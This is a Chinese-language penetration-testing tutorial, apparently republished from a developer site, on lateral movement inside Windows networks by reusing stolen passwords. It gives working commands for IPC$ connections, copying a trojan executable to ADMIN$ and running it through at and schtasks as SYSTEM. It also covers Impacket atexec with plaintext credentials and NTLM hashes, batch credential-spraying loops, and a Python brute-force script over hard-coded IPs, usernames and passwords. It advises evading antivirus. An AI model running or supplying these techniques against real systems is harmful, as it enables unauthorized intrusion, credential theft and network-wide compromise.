您的位置:首页 >聚焦 >

内网渗透-密码传递

2022-04-25 13:57:55    来源:程序员客栈
利用密码传递at&schtasks

在日常渗透中,我们在拿到入口点(Windows)之后,我们可以使用at&schtasks在目标内网利用密码传递,进行横向渗透。

获取主机/域主机权限

minikatz获得密码(明文、hash)

信息收集用户名做字典

尝试链接

添加计划任务(at & schtasks)

执行文件木马、或者命令

windows 2012 以下 at

windows 2012 以上 schtasks

利用流程

简历IPC连接到目标主机

拷贝要执行的命令脚本到目标主机

查看目标时间,创建计划任务(at schtasks)定时执行copy到的脚本

删除IPC

建立IPC失败原因

1.你的系统不是NT或以上操作系统.2.对方没有打开ipc$默认共享。3.不能成功连接目标的139,445端口.4.命令输入错误.5.用户名或密码错误.

常见错误

1.错误号5,拒绝访问 :很可能你使用的用户不是管理员权限的,先提升权限;2.错误号51,Windows 无法找到网络路径 : 网络有问题;3.错误号53,找不到网络路径 :ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);4.错误号67,找不到网络名 :你的lanmanworkstation服务未启动;目标删除了ipc$;5.错误号1219,提供的凭据与已存在的凭据集冲突 :你已经和对方建立了一个ipc$,请删除再连。6.错误号1326,未知的用户名或错误密码 :原因很明显了;7.错误号1792,试图登录,但是网络登录服务没有启动 :目标NetLogon服务未启动。(连接域控会出现此情况)8.错误号2242,此用户的密码已经过期 :目标有帐号策略,强制定期要求更改密码。

建立IPC空连接

net use \\xx.xx.xx.xx\ipc$ "" /user:""

建立完整的用户名,密码连接:

net use \\xx.xx.xx.xx\ipc$ "password" /user:"username"net use \\xx.xx.xx.xx\ipc$ "password" /user:域名\"username"net use \\192.168.3.25\ipc$ "admin!@#45" /user:test\jl

映射路径:

net use z: \\xx.xx.xx.xx\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)

删除

net use z: \\xx.xx.xx.xx\c$   #直接访问net use c: /del     删除映射的c盘,其他盘类推 net use * /del      删除全部,会有提示要求按y确认net use \\xx.xx.xx.xx\ipc$ /deldir \\xx.xx.xx.xx\c$  列文件copy \\xx.xx.xx.xx\c$\1.bat 1.bat  下载1.batcopy 1.bat \\xx.xx.xx.xx\C$ 复制文件net view xx.xx.xx.xx 查看对方共享

过程

C:\>net use \\xx.xx.xx.xx\IPC$ "admin" /user:"admintitrators" 用户名是administrators,密码为"admin"的IP地址,如果是打算攻击的话,就可以用这样的命令来与xx.xx.xx.xx建立一个连接,因为密码为"admin",所以第一个引号处输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

C:\>copy srv.exe \\xx.xx.xx.xx\admin$ 先复制srv.exe上去,目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)

C:\>net time \\xx.xx.xx.xx 查查时间,发现xx.xx.xx.xx 的当前时间是 2021/2/8 上午 11:00,命令成功完成。C:\>at \\xx.xx.xx.xx 11:05 srv.exe 用at命令启动srv.exe吧

/S   system        指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。/U   username      指定应在其中执行 SchTasks.exe 的用户上下文。/P   [password]    指定给定用户上下文的密码。如果省略则提示输入。/RU  username      指定任务在其下运行的“运行方式”用户帐户(用户上下文)。对于系统帐户,有效 值是 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID对这三个也都可用。/RP  [password]    指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。/RU/XML    /SC   schedule     指定计划频率。有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT./MO   modifier     改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。/D    days         指定该周内运行任务的日期。有效值:MON、TUE、WED、THU、FRI、SAT、SUN和对 MONTHLY 计划的 1 - 31(某月中的日期)。通配符“*”指定所有日期。/M    months       指定一年内的某月。默认是该月的第一天。有效值: JAN、FEB、MAR、APR、MAY、JUN、JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符“*” 指定所有的月。/I    idletime     指定运行一个已计划的 ONIDLE 任务之前要等待的空闲时间。有效值范围: 1 到 999 分钟。/TN   taskname     指定唯一识别这个计划任务的名称。/TR   taskrun      指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe/ST   starttime    指定运行任务的开始时间。时间格式为 HH:mm (24 小时时间),例如 14:30 表示2:30 PM。如果未指定 /ST,则默认值为当前时间。/SC ONCE 必需有此选项。/RI   interval     用分钟指定重复间隔。这不适用于计划类型: MINUTE、HOURLY、ONSTART, ONLOGON, ONIDLE, ONEVENT.有效范围: 1 - 599940 分钟。如果已指定 /ET 或 /DU,则其默认值为10 分钟。/ET   endtime      指定运行任务的结束时间。时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。这不适用于计划类型: ONSTART、ONLOGON, ONIDLE, ONEVENT./DU   duration     指定运行任务的持续时间。时间格式为 HH:mm。这不适用于 /ET 和计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.对于 /V1 任务,如果已指定 /RI,则持续时间默认值为1 小时。/K                 在结束时间或持续时间终止任务。这不适用于计划类型: ONSTART、ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。/SD   startdate    指定运行任务的第一个日期。格式为 yyyy/mm/dd。默认值为当前日期。这不适用于计划类型: ONCE、ONSTART, ONLOGON, ONIDLE, ONEVENT./ED   enddate      指定此任务运行的最后一天的日期。格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。/EC   ChannelName  为 OnEvent 触发器指定事件通道。/IT                仅有在 /RU 用户当前已登录且作业正在运行时才可以交互式运行任务。此任务只有在用户已登录的情况下才运行。/NP                不储存任何密码。任务以给定用户的身份非交互的方式运行。只有本地资源可用。/Z                 标记在最终运行完任务后删除任务。/XML  xmlfile      从文件的指定任务 XML 中创建任务。可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含主体时单独使用 /RP。/V1                创建 Vista 以前的平台可以看见的任务。不兼容 /XML。/F                 如果指定的任务已经存在,则强制创建任务并抑制警告。/RL   level        为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。/DELAY delaytime   指定触发触发器后延迟任务运行的等待时间。时间格式为mmmm:ss。此选项仅对计划类型ONSTART, ONLOGON, ONEVENT./?                 显示此帮助消息。

创建任务

schtasks /create /s xx.xx.xx.xx /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat

执行任务

schtasks /run /s xx.xx.xx.xx /tn adduser /i 运行这个任务

删除任务

schtasks /delete /s xx.xx.xx.xx /tn adduser /f

使用第三方工具,自带提权

D:\>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies[!] This will work ONLY on Windows >= Vista[*] Creating task \WqukoWZX[*] Running task \WqukoWZX[*] Deleting task \WqukoWZX[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmpnt authority\system        # 权限为system

impacket工具包,里面很多内网用到的工具这个工具注意免杀atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"

批量建立IPC链接

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami    #批量检测IP对应明文回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami     #批量检测明文对应IP回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版

程序运行结束net use查看建立了哪些连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin#pip install pyinstaller#pyinstaller -F fuck_neiwang_001.py 生成可执行EXEimport os,timeips={"192.168.3.21","192.168.3.25","192.168.3.29","192.168.3.30","192.168.3.31","192.168.3.33"}users={"Administrator","bossS","dbadmin","fileadmin","mack","mary","vpnadmin","webadmin"}passs={"admin","admin!@#45","Admin12345"}for ip in ips:for user in users:for mima in passs:exec="net use \\"+ "\\"+ip+"\ipc$ "+mima+" /user:god\\"+userprint("--->"+exec+"<---")os.system(exec)time.sleep(1)

以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证

主机A   收集主机A的用户名和密码  组成字典主机B   用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。主机C   用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作

工具地址https://gitee.com/RichChigga/impacket-examples-windows往期回顾 01docker利用特权模式逃逸并拿下主机02试水ios-一次过闪退记录03burpsuite使用技巧

关键词: 运行任务 持续时间 成功完成

相关阅读